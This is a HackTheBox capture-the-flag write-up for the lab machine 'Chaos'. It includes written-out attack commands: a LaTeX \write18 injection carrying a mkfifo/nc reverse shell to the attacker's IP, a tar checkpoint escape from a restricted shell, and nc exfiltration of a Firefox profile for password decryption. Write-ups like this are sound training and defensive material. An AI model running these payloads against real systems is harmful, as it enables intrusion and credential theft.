Chaos - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Chaos is a medium-difficulty Linux box that chains together multiple realistic enumeration and exploitation techniques. The attack path requires discovering a virtual host serving WordPress, extracting IMAP credentials from a password-protected post, decrypting AES-encrypted email drafts to reveal a hidden directory, exploiting LaTeX’s \write18 command execution to gain initial access, breaking out of a restricted bash shell using tar as a GTFOBin, and finally extracting Firefox saved passwords to obtain root credentials. This machine emphasizes thorough enumeration, cryptographic analysis, and creative use of legitimate binaries for privilege escalation.

TL;DR: Virtual host enumeration → WordPress protected post (human:human) → IMAP email drafts → AES-CBC decryption (password: sahay) → LaTeX \write18 RCE → restricted shell escape via tar GTFOBin → Firefox profile credential extraction → root login (root:Thiv8wrej~)

Reconnaissance

Port Scanning

# Full TCP port scan
nmap -p- --min-rate=1000 -T4 10.10.10.120

# Service and version detection on discovered ports
nmap -p80,110,143,993,995,10000 -sV -sC 10.10.10.120

Results:

PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))
110/tcp   open  pop3     Dovecot pop3d
143/tcp   open  imap     Dovecot imapd (Ubuntu)
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
995/tcp   open  ssl/pop3 Dovecot pop3d
10000/tcp open  http     MiniServ 1.890 (Webmin httpd)

Service Enumeration

HTTP - Port 80

Initial access to http://10.10.10.120 returned a non-standard error message: “Direct IP not allowed”. This indicated the server was configured to require a specific Host header (virtual host).

# Add the hostname to /etc/hosts
echo '10.10.10.120 chaos.htb' | sudo tee -a /etc/hosts

Accessing http://chaos.htb revealed a static HTML website with basic pages.

Directory Enumeration

# Enumerate directories on both the IP and hostname
gobuster dir -u http://10.10.10.120/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

# Key finding: /wp directory discovered

The /wp directory contained a WordPress installation at http://10.10.10.120/wp/wordpress/.

WordPress Enumeration

# Enumerate WordPress users and components
wpscan --url http://10.10.10.120/wp/wordpress/ -e u,ap,at

Findings:

• WordPress user discovered: human
• A password-protected post was visible on the site

Testing common credentials against the protected post revealed that human:human granted access, exposing webmail credentials in the post content:

Credentials found: ayush:jiujitsu

IMAP Server - Ports 993/995

# Connect to IMAP over SSL
openssl s_client -connect 10.10.10.120:993 -crlf -quiet

IMAP session:

a LOGIN ayush jiujitsu
# Response: a OK Logged in

b LIST "" *
# Response: Lists mailboxes including Drafts, Sent, Inbox

c SELECT Drafts
# Response: 1 message exists

d FETCH 1 BODY[]
# Response: Email with base64-encoded attachments

The Drafts folder contained an email with two base64-encoded attachments:

1. enim_msg.txt - An encrypted message
2. en.py - The Python encryption script used

Vulnerability Assessment

1. WordPress weak credentials - Protected post accessible with human:human
2. Sensitive data in email drafts - Encryption key exposed in plaintext
3. LaTeX command injection - PDF generation service vulnerable to \write18 execution
4. Restricted shell misconfiguration - tar binary available in rbash PATH
5. Firefox saved passwords - Decryptable with master password reuse

Initial Foothold

Decrypting the AES-Encrypted Message

The email draft contained two base64-encoded attachments. After decoding them:

# Decode the attachments from base64
cat enim_msg.txt.b64 | base64 -d > enim_msg.txt
cat en.py.b64 | base64 -d > en.py

Analysis of en.py:

The encryption script used AES-CBC mode with:

• Key: SHA256 hash of the password “sahay” (mentioned in the email)
• IV: Random 16 bytes written to the beginning of the encrypted file
• File structure: [16 bytes filesize][16 bytes IV][encrypted chunks]

Decryption script (dec.py):

from Crypto.Cipher import AES
from Crypto.Hash import SHA256

def decrypt(key, filename):
    chunksize = 64 * 1024
    output = "dec_msg.txt"

    with open(filename, 'rb') as f:
        # Read the first 16 bytes (filesize - not needed for decryption)
        filesize = f.read(16)

        # Read the next 16 bytes which contain the IV
        IV = f.read(16)

        # Create AES decryptor using CBC mode with the extracted IV
        decryptor = AES.new(key, AES.MODE_CBC, IV)

        # Decrypt and write chunks
        with open(output, 'wb') as outfile:
            while True:
                chunk = f.read(chunksize)
                if len(chunk) == 0:
                    break
                outfile.write(decryptor.decrypt(chunk))

def getKey(password):
    # Hash the password with SHA256 to derive the AES key
    hasher = SHA256.new(password.encode('utf-8'))
    return hasher.digest()

# Decrypt using the password from the email
decrypt(getKey("sahay"), "enim_msg.txt")

# Run the decryption script
python dec.py

# The decrypted content is base64-encoded, decode it
cat dec_msg.txt | base64 -d

Decrypted message revealed:

A hidden URL path: http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3 (exact path varies per instance)

Exploiting LaTeX \write18 Command Execution

The hidden directory hosted a PDF generation service using pdflatex.

# Access the PDF maker service
curl http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Testing the service with a simple LaTeX payload:

\documentclass{article}
\begin{document}
Test
\end{document}

The error messages confirmed pdfTeX was processing the input. LaTeX engines historically support the \write18 feature, which allows shell command execution if enabled.

Initial test payload:

\input|ls

This syntax was blacklisted, returning an error. However, an alternative syntax exists:

\immediate\write18{id}

This successfully executed commands. The \write18 feature in LaTeX allows arbitrary command execution when shell escape is enabled, a common misconfiguration in web-based PDF generators.

Reverse shell payload:

\immediate\write18{rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 4444 >/tmp/f}

# Start listener
nc -lvnp 4444

# Send the payload via POST to the service (using Burp or curl)
# Caught reverse shell as www-data

Privilege Escalation

Lateral Movement: www-data → ayush

After obtaining a shell as www-data:

# Upgrade to a proper TTY
python -c 'import pty;pty.spawn("/bin/bash")'

# Attempt password reuse from earlier credentials
su - ayush
# Password: jiujitsu

Success - the IMAP password was reused for the system account.

Breaking Out of Restricted Bash (rbash)

The ayush account was configured with a restricted shell (rbash):

ayush@chaos:~$ cd /tmp
-rbash: cd: restricted

ayush@chaos:~$ echo $PATH
/home/ayush/.app

ayush@chaos:~$ echo $SHELL
/bin/rbash

Restricted shells limit commands to those in a specific PATH and disable certain builtins like cd. Enumerating available binaries:

# 'ls' was restricted, but 'dir' worked
ayush@chaos:~$ dir /home/ayush/.app
ping  tar

GTFOBin: tar

The tar utility can execute arbitrary commands via checkpoint actions:

# Escape restricted shell using tar
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

This spawned an unrestricted bash shell. However, the PATH was still limited:

# Fix the PATH variable
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Upgrade to a full PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

User flag captured:

cat ~/user.txt
# <redacted>

Privilege Escalation: ayush → root

Enumerating the home directory revealed a Firefox profile:

ls -la ~/.mozilla/firefox/
# Firefox profile directory present

Extracting Firefox saved passwords:

Firefox stores saved credentials in logins.json (encrypted with a master password or key derived from key4.db). Tools like firefox_decrypt can extract these:

# Transfer the .mozilla directory to attacking machine
cd /tmp
tar czf mozilla.tar.gz ~/.mozilla
nc 10.10.14.X 9001 < mozilla.tar.gz

# On attacking machine
nc -lvnp 9001 > mozilla.tar.gz
tar xzf mozilla.tar.gz

# Use firefox_decrypt tool
git clone https://github.com/unode/firefox_decrypt
cd firefox_decrypt
python firefox_decrypt.py ../home/ayush/.mozilla/firefox/
# Master Password: jiujitsu (password reuse)

Extracted credentials:

Website:   https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'

Root Access

# Switch to root using the extracted password
su - root
# Password: Thiv8wrej~

# Root flag captured
cat /root/root.txt
# <redacted>

Alternative root access via Webmin:

The credentials also provided access to the Webmin console on port 10000:

# Access via browser
https://chaos.htb:10000
# Login: root:Thiv8wrej~

# Navigate to: Others → Command Shell
# Provides root command execution

Attack Chain Summary

Virtual host discovery (chaos.htb)
  → WordPress enumeration (user: human)
  → Protected post access (human:human)
  → IMAP credentials (ayush:jiujitsu)
  → Encrypted email draft extraction
  → AES-CBC decryption (key: SHA256("sahay"))
  → Hidden LaTeX service discovery
  → LaTeX \write18 command injection
  → Reverse shell as www-data
  → Lateral movement via password reuse (ayush:jiujitsu)
  → Restricted shell escape (tar checkpoint GTFOBin)
  → Firefox profile credential extraction
  → Root access (root:Thiv8wrej~)

Tools Used

Key Learnings

Techniques Practiced

• Virtual host (vhost) enumeration and /etc/hosts configuration
• WordPress protected post credential guessing
• IMAP protocol interaction over SSL using openssl s_client
• AES-CBC mode cryptographic decryption with IV extraction
• LaTeX \write18 shell escape exploitation
• Restricted bash (rbash) environment analysis and breakout
• GTFOBins methodology for binary abuse (tar checkpoint actions)
• Firefox credential store forensics and decryption
• Password reuse identification across multiple services

Lessons Learned

1. Always enumerate virtual hosts - Many web applications use name-based virtual hosting. The “Direct IP not allowed” error is a strong indicator to add hostnames to /etc/hosts and test various subdomains.

2. IMAP/POP3 can contain sensitive information - Email drafts and sent folders often contain credentials, configuration data, or other attack vectors that users don’t expect to be accessible.

3. Understanding encryption implementations is crucial - The AES decryption required analyzing the encryption script to understand that both the filesize and IV were prepended to the ciphertext. Without extracting the IV from bytes 16-32, decryption would be impossible.

4. LaTeX \write18 is a known security risk - PDF/document generation services that allow user-controlled LaTeX input are often vulnerable to command injection via \write18 or \input directives when shell escape is enabled. Always test alternative syntaxes when one is blacklisted.

5. Restricted shells can often be bypassed - Rbash restrictions are primarily designed to limit user convenience, not provide security boundaries. Any binary in the restricted PATH that can execute commands (tar, awk, find, vim, etc.) can typically be abused via GTFOBins techniques.

6. Password reuse remains a critical vulnerability - The same password (jiujitsu) was used for IMAP, system login, and Firefox master password. This allowed horizontal and vertical movement throughout the entire compromise chain.

7. Browser credential stores are high-value targets - Firefox and Chrome profiles contain saved passwords that, while encrypted, can be decrypted if the master password is known or if the profile can be loaded. These often contain administrative credentials.

8. Defense in depth matters - This machine demonstrated how multiple smaller weaknesses (weak passwords, sensitive email storage, command injection, password reuse) combined to create a complete compromise chain. No single vulnerability was critical, but the chain was devastating.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew technical explanations and LaTeX exploitation context from the official HackTheBox writeup by MinatoTW (Document No D19.100.18, 25th April 2019).